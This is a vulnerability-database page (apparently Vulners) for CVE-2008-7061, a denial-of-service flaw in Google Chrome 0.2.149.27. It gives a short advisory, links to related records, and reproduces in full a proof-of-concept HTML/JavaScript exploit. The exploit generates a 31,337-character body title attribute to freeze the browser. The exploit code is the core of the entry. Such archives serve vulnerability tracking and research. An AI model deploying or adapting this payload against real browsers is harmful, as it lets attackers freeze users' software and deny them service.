Google Chrome 0.2.149 - Malformed 'title' Tag Remote Denial of Service
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | CVE-2008-7061 | 2 Sep 200800:00 | – | circl |
 | CVE-2008-7061 | 24 Aug 200919:00 | – | cve |
 | CVE-2008-7061 | 24 Aug 200919:00 | – | cvelist |
 | CVE-2008-7061 | 24 Aug 200919:00 | – | debiancve |
 | EUVD-2008-7020 | 7 Oct 202500:30 | – | euvd |
 | CVE-2008-7061 | 24 Aug 200919:30 | – | nvd |
 | Google Chrome 'tooltip_manager.cc' Denial Of Service Vulnerability | 26 Aug 200900:00 | – | openvas |
| Google Chrome 'tooltip_manager.cc' Denial Of Service Vulnerability | 26 Aug 200900:00 | – | openvas |
 | Information disclosure | 24 Aug 200919:30 | – | prion |
source: https://www.securityfocus.com/bid/30975/info
Google Chrome is prone to a remote denial-of-service vulnerability because it fails to handle user-supplied input.
Attackers can exploit this issue to make the application unresponsive, denying service to legitimate users.
Google Chrome 0.2.149.27 is vulnerable; other versions may also be affected.
NOTE: Reports indicate that this issue may not be exploitable as described and may depend on a particular WebKit configuration.
<!-- Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit Exploit written by Exodus. http://www.blackhat.org.il http://www.blackhat.org.il/index.php/ready-set-chrome/ http://www.blackhat.org.il/exploits/chrome-freeze-exploit.html --> <HTML> <HEAD> <TITLE> Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit</TITLE> <SCRIPT language="JavaScript"> function buff(len) { var buffer; for(var i = 0; i != len; i++) { buffer += 'E';} return buffer; } </SCRIPT> </HEAD> <SCRIPT> document.write('<body title=\"' + buff(31337) + '\">'); </SCRIPT> </BODY> </HTML>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
17 Mar 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.04256